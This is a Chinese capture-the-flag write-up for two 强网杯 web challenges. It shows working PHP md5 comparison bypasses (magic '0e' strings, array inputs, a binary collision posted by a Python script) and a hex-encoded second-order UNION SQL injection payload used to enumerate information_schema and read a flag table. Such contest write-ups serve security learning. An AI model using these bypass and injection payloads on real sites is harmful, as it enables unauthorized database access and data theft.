WEB-网强杯-WEB-writeup
web签到
可以叫做md5 Three hit
右键源码
第一关
1 | if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1']) == md5($_POST['param2']) |
==
php特性:可以不完全相等,0e123=0e456
param1=QNKCDZO param2=s878926199a
第二关
1 | if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2']) |
===
精准匹配。
利用md5()
漏洞,数组传入返回null,使 null===null
param1[]=1 param2[]=2
第三关
1 | if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2']) |
无论输入什么都会变成字符串。没法绕过。
利用hash碰撞生成2进制文件,使用burpsuite或者python-requests读取文件发送
burpsuite就不细说了,python脚本如下1
2
3
4
5
6
7
8import requests
fp1=open("msg1.bin")
fp2=open("msg2.bin")
url="http://39.107.33.96:10000/"
data={'param1':fp1.read(),'param2':fp2.read()}
cookie={'PHPSESSID': '0n7qa29j2kvas7n402idu87aj1'}
r=requests.post(url,data=data,cookies=cookie)
print r.text
Three hit
开始index.php
页面,有登录(?func=login)和注册(?func=register)两个功能
输入有过滤
- 账号需要是 0-9a-zA-Z
- 年龄需要是数字
- 密码没有过滤
注册后登录,进入 profile.php
跑目录,找到一个config.php,但没有内容
抓包查看,其中login页面有回显,估计是数据库查询内容回显,其他页面正常
思索…..
- php中判断是数字可能用到
is_numeric()
,is_numeric判断数字不严格,可以是16进制。 - 猜测后端数据库语句是
insert into lesson1(name,age,password) values(name,age,password)
在insert语句中,16进制插入会解析成字符,存入数据库中
以上两点结合在一起
可以通过age输入payload转成16进制,通过insert注入数据库中,再通过login的回显判断是否成功
再通过页面逻辑,判断profile.php
中的数据库语句是select * from 表 where age = (我们的age)
构造payload测试(因为回显判断4列)1
2age=1 and 0 union select 1,2,3,4 #
age=0x3120616e64203020756e696f6e2073656c65637420312c322c332c342023
成功
之后省略注入过程
得到user(),database(),尝试information_schema可行,得到表结构
库 | 表 | 列 |
---|---|---|
qwb | users | id username age password |
qwb | flag | flag |
读取flag